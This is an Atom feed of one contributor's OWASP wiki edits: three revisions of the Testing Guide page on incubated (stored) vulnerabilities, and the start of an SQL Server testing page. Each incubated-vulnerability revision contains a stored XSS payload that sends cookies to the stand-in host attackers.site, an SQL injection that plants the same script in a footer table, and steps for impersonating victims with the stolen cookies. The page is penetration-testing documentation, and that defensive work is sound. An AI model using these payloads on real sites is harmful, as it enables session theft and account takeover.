<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Wata</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Wata"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Wata"/>
		<updated>2026-05-13T07:47:07Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=14261</id>
		<title>Testing for Incubated Vulnerability (OTG-INPVAL-015)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=14261"/>
				<updated>2006-12-12T21:05:49Z</updated>
		
		<summary type="html">&lt;p&gt;Wata: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Also often refered to as persistent attacks, incubated testing is a complex testing that needs more than one data validation vulnerability to work. In this section we describe a set of examples to test an Incubated Vulnerability.&amp;lt;BR&amp;gt;&lt;br /&gt;
*The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.&lt;br /&gt;
* Secondly once the attack vector was &amp;quot;recalled&amp;quot; the vector would need to be executed successfully. For example an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form.&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Exploitation of some vulnerabilities, or even functional features of a web application will allow an attacker to plant a piece of data that will later be retrieved by an unsuspected user or other component of the system, exploiting some vulnerability there. &lt;br /&gt;
&lt;br /&gt;
In a penetration test, '''incubated attacks''' can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site). &lt;br /&gt;
&lt;br /&gt;
This type of asynchronous attack covers a great spectrum of attack vectors, among them the following: &lt;br /&gt;
&lt;br /&gt;
* File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc)&lt;br /&gt;
&lt;br /&gt;
* Cross-site scripting issues in public forums posts (see [[http://www.owasp.org/index.php/Cross_site_scripting_AoC XSS Testing]] for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board or blog in order to inject some javascript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.&lt;br /&gt;
&lt;br /&gt;
* SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary Javascript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [[http://sourceforge.net/projects/xss-proxy XSS-proxy]]).&lt;br /&gt;
&lt;br /&gt;
* Misconfigured servers allowing installation of java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===a. File Upload Sample:===&lt;br /&gt;
&lt;br /&gt;
Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. &lt;br /&gt;
&lt;br /&gt;
Send your victim an email or other kind of alert in order to lead him/her to browse the page. &lt;br /&gt;
&lt;br /&gt;
The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===b. XSS sample on a bulletin board===&lt;br /&gt;
&lt;br /&gt;
1. Introduce ''javascript'' code as the value for the vulnerable field, for instance:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write('&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?'+document.cookie+'&amp;quot;&amp;gt;')&amp;lt;/script&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
   &lt;br /&gt;
2. Direct users to browse the vulnerable page or wait for the users to browse it. Have a &amp;lt;nowiki&amp;gt;&amp;quot;listener&amp;quot;&amp;lt;/nowiki&amp;gt; at ''attackers.site'' host listening for all incoming connections. &lt;br /&gt;
&lt;br /&gt;
3. When users browse the vulnerable page, a request containing their cookie (''document.cookie'' is included as part of the requested URL) will be sent to the ''attackers.site'' host, such as the following:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4. Use cookies obtained to impersonate users at the vulnerable site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===c. SQL Injection sample===&lt;br /&gt;
&lt;br /&gt;
Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test, is whether the target site has a SQL-injection vulnerability. This is described in Section 4.2 [[http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection Testing]]. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do. The pen tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.&lt;br /&gt;
&lt;br /&gt;
1. In a similar fashion as the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let's suppose there is a ''footer'' table at the database with all footers for the web site pages, including a ''notice'' field with the legal notice that appears at the bottom of each web page. You could use the following query to inject javascript code to the ''notice'' field at the ''footer'' table in the database. &lt;br /&gt;
  &lt;br /&gt;
  SELECT field1, field2, field3&lt;br /&gt;
   FROM table_x&lt;br /&gt;
   WHERE field2 = 'x';&lt;br /&gt;
      UPDATE footer&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;SET notice = 'Copyright 1999-2030%20&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
          &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write(\'&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?\'+document.cookie+\'&amp;quot;&amp;gt;\')&amp;lt;/script&amp;gt;'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      WHERE notice = 'Copyright 1999-2030';&lt;br /&gt;
      &lt;br /&gt;
2. Now, each user browsing the site will silently send his cookies to the ''attackers.site'' (steps b.2 to b.4).&lt;br /&gt;
&lt;br /&gt;
===d. Misconfigured server===&lt;br /&gt;
&lt;br /&gt;
Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with Apache Tomcat servers that doesn’t enforce strong credentials to access its Web Application Manager (or in the case the pen testers have been able to obtain valid credentials for the administration module by other means). &lt;br /&gt;
In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).&lt;br /&gt;
&lt;br /&gt;
As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
Gray/white testing techniques will be the same as previously discussed.&lt;br /&gt;
* Input validation must be examined is key in mitigating against this vulnerability. If other systems in the enterprise use the same persistence layer they may have weak input validation and the data is perssited via a &amp;quot;back door&amp;quot;.&lt;br /&gt;
* To combat the &amp;quot;back door&amp;quot; issue for client side attacks, output validation must also be employed so tainted data shall be encoded prior to displaying to the client and hance not execute.&lt;br /&gt;
&lt;br /&gt;
* See Code review guide: http://www.owasp.org/index.php/Data_Validation_%28Code_Review%29#Data_validation_strategy&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
Most of the references from the Cross-site scripting section are valid. As explained above, incubated attacks are executed when combining exploits such as XSS or SQL-injection attacks. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Advisories'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
* Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability - http://lists.grok.org.uk/pipermail/full-disclosure/2006-July/048059.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Web Application Security Consortium &amp;quot;Threat Classification, Cross-site scripting&amp;quot; - http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml&lt;br /&gt;
* Amit Klein (Sanctum) &amp;quot;Cross-site Scripting Explained&amp;quot; - http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* XSS-proxy - http://sourceforge.net/projects/xss-proxy&lt;br /&gt;
* Paros - http://www.parosproxy.org/index.shtml&lt;br /&gt;
* Burp Suite - http://portswigger.net/suite/&lt;br /&gt;
* Metasploit - http://www.metasploit.com/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Wata</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=14257</id>
		<title>Testing for Incubated Vulnerability (OTG-INPVAL-015)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=14257"/>
				<updated>2006-12-12T20:56:23Z</updated>
		
		<summary type="html">&lt;p&gt;Wata: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Also often refered to as persistent attacks, incubated testing is a complex testing that needs more than one data validation vulnerability to work. In this section we describe a set of examples to test an Incubated Vulnerability.&amp;lt;BR&amp;gt;&lt;br /&gt;
*The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.&lt;br /&gt;
* Secondly once the attack vector was &amp;quot;recalled&amp;quot; the vector would need to be executed successfully. For example an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form.&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Exploitation of some vulnerabilities, or even functional features of a web application will allow an attacker to plant a piece of data that will later be retrieved by an unsuspected user or other component of the system, exploiting some vulnerability there. &lt;br /&gt;
&lt;br /&gt;
In a penetration test, '''incubated attacks''' can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site). &lt;br /&gt;
&lt;br /&gt;
This type of asynchronous attack covers a great spectrum of attack vectors, among them the following: &lt;br /&gt;
&lt;br /&gt;
* File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc)&lt;br /&gt;
&lt;br /&gt;
* Cross-site scripting issues in public forums posts (see [[http://www.owasp.org/index.php/Cross_site_scripting_AoC XSS Testing]] for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board or blog in order to inject some javascript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.&lt;br /&gt;
&lt;br /&gt;
* SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary Javascript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [[http://sourceforge.net/projects/xss-proxy XSS-proxy]]).&lt;br /&gt;
&lt;br /&gt;
* Misconfigured servers allowing installation of java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===a. File Upload Sample:===&lt;br /&gt;
&lt;br /&gt;
Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. &lt;br /&gt;
&lt;br /&gt;
Send your victim an email or other kind of alert in order to lead him/her to browse the page. &lt;br /&gt;
&lt;br /&gt;
The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===b. XSS sample on a bulletin board===&lt;br /&gt;
&lt;br /&gt;
1. Introduce ''javascript'' code as the value for the vulnerable field, for instance:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write('&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?'+document.cookie+'&amp;quot;&amp;gt;')&amp;lt;/script&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
   &lt;br /&gt;
2. Direct users to browse the vulnerable page or wait for the users to browse it. Have a &amp;lt;nowiki&amp;gt;&amp;quot;listener&amp;quot;&amp;lt;/nowiki&amp;gt; at ''attackers.site'' host listening for all incoming connections. &lt;br /&gt;
&lt;br /&gt;
3. When users browse the vulnerable page, a request containing their cookie (''document.cookie'' is included as part of the requested URL) will be sent to the ''attackers.site'' host, such as the following:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4. Use cookies obtained to impersonate users at the vulnerable site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===c. SQL Injection sample===&lt;br /&gt;
&lt;br /&gt;
Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test, is whether the target site has a SQL-injection vulnerability. This is described in Section 4.2 [[http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection Testing]]. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do. The pen tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.&lt;br /&gt;
&lt;br /&gt;
1. In a similar fashion as the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let's suppose there is a ''footer'' table at the database with all footers for the web site pages, including a ''notice'' field with the legal notice that appears at the bottom of each web page. You could use the following query to inject javascript code to the ''notice'' field at the ''footer'' table in the database. &lt;br /&gt;
  &lt;br /&gt;
  SELECT field1, field2, field3&lt;br /&gt;
   FROM table_x&lt;br /&gt;
   WHERE field2 = 'x';&lt;br /&gt;
      UPDATE footer&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;SET notice = 'Copyright 1999-2030%20&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
          &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write(\'&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?\'+document.cookie+\'&amp;quot;&amp;gt;\')&amp;lt;/script&amp;gt;'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      WHERE notice = 'Copyright 1999-2030';&lt;br /&gt;
      &lt;br /&gt;
2. Now, each user browsing the site will silently send his cookies to the ''attackers.site'' (steps b.2 to b.4).&lt;br /&gt;
&lt;br /&gt;
===d. Misconfigured server===&lt;br /&gt;
&lt;br /&gt;
Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with Apache Tomcat servers that doesn’t enforce strong credentials to access its Web Application Manager (or in the case the pen testers have been able to obtain valid credentials for the administration module by other means). &lt;br /&gt;
In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).&lt;br /&gt;
&lt;br /&gt;
As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
Gray/white testing techniques will be the same as previously discussed.&lt;br /&gt;
* Input validation must be examined is key in mitigating against this vulnerability. If other systems in the enterprise use the same persistence layer they may have weak input validation and the data is perssited via a &amp;quot;back door&amp;quot;.&lt;br /&gt;
* To combat the &amp;quot;back door&amp;quot; issue for client side attacks, output validation must also be employed so tainted data shall be encoded prior to displaying to the client and hance not execute.&lt;br /&gt;
&lt;br /&gt;
* See Code review guide: http://www.owasp.org/index.php/Data_Validation_%28Code_Review%29#Data_validation_strategy&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* XSS-proxy - http://sourceforge.net/projects/xss-proxy&lt;br /&gt;
* Paros - http://www.parosproxy.org/index.shtml&lt;br /&gt;
* Burp Suite - http://portswigger.net/suite/&lt;br /&gt;
* Metasploit - http://www.metasploit.com/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Wata</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=13621</id>
		<title>Testing for Incubated Vulnerability (OTG-INPVAL-015)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=13621"/>
				<updated>2006-11-23T20:11:40Z</updated>
		
		<summary type="html">&lt;p&gt;Wata: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Incubated testing is a complex testing that need more that one data valition vulnerability to work. In this section we describe a set of examples to test an Incubated Vulnerability.&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Exploitation of some vulnerabilities, or even functional features of a web application will allow an attacker to plant a piece of data that will later be retrieved by an unsuspected user or other component of the system, exploiting some vulnerability there. &lt;br /&gt;
&lt;br /&gt;
In a penetration test, '''incubated attacks''' can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site). &lt;br /&gt;
&lt;br /&gt;
This type of asynchronous attack covers a great spectrum of attack vectors, among them the following: &lt;br /&gt;
&lt;br /&gt;
* File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc)&lt;br /&gt;
&lt;br /&gt;
* Cross-site scripting issues in public forums posts (see [[http://www.owasp.org/index.php/Cross_site_scripting_AoC XSS Testing]] for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board or blog in order to inject some javascript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.&lt;br /&gt;
&lt;br /&gt;
* SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary Javascript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [[http://sourceforge.net/projects/xss-proxy XSS-proxy]]).&lt;br /&gt;
&lt;br /&gt;
* Misconfigured servers allowing installation of java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===a. File Upload Sample:===&lt;br /&gt;
&lt;br /&gt;
Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. &lt;br /&gt;
&lt;br /&gt;
Send your victim an email or other kind of alert in order to lead him/her to browse the page. &lt;br /&gt;
&lt;br /&gt;
The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===b. XSS sample on a bulletin board===&lt;br /&gt;
&lt;br /&gt;
1. Introduce ''javascript'' code as the value for the vulnerable field, for instance:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write('&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?'+document.cookie+'&amp;quot;&amp;gt;')&amp;lt;/script&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
   &lt;br /&gt;
2. Direct users to browse the vulnerable page or wait for the users to browse it. Have a &amp;lt;nowiki&amp;gt;&amp;quot;listener&amp;quot;&amp;lt;/nowiki&amp;gt; at ''attackers.site'' host listening for all incoming connections. &lt;br /&gt;
&lt;br /&gt;
3. When users browse the vulnerable page, a request containing their cookie (''document.cookie'' is included as part of the requested URL) will be sent to the ''attackers.site'' host, such as the following:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4. Use cookies obtained to impersonate users at the vulnerable site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===c. SQL Injection sample===&lt;br /&gt;
&lt;br /&gt;
Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test, is whether the target site has a SQL-injection vulnerability. This is described in Section 4.2 [[http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection Testing]]. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do. The pen tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.&lt;br /&gt;
&lt;br /&gt;
1. In a similar fashion as the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let's suppose there is a ''footer'' table at the database with all footers for the web site pages, including a ''notice'' field with the legal notice that appears at the bottom of each web page. You could use the following query to inject javascript code to the ''notice'' field at the ''footer'' table in the database. &lt;br /&gt;
  &lt;br /&gt;
  SELECT field1, field2, field3&lt;br /&gt;
   FROM table_x&lt;br /&gt;
   WHERE field2 = 'x';&lt;br /&gt;
      UPDATE footer&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;SET notice = 'Copyright 1999-2030%20&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
          &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write(\'&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?\'+document.cookie+\'&amp;quot;&amp;gt;\')&amp;lt;/script&amp;gt;'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      WHERE notice = 'Copyright 1999-2030';&lt;br /&gt;
      &lt;br /&gt;
2. Now, each user browsing the site will silently send his cookies to the ''attackers.site'' (steps b.2 to b.4).&lt;br /&gt;
&lt;br /&gt;
===d. Misconfigured server===&lt;br /&gt;
&lt;br /&gt;
Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with Apache Tomcat servers that doesn’t enforce strong credentials to access its Web Application Manager (or in the case the pen testers have been able to obtain valid credentials for the administration module by other means). &lt;br /&gt;
In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).&lt;br /&gt;
&lt;br /&gt;
As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
Gray/white testing techniques will be the same as previously discussed.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* XSS-proxy - http://sourceforge.net/projects/xss-proxy&lt;br /&gt;
* Paros - http://www.parosproxy.org/index.shtml&lt;br /&gt;
* Burp Suite - http://portswigger.net/suite/&lt;br /&gt;
* Metasploit - http://www.metasploit.com/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Wata</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=13578</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=13578"/>
				<updated>2006-11-22T23:09:14Z</updated>
		
		<summary type="html">&lt;p&gt;Wata: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this paragraph we describe some [http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection] techniques that utilize specific features of Microsoft SQL Server.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
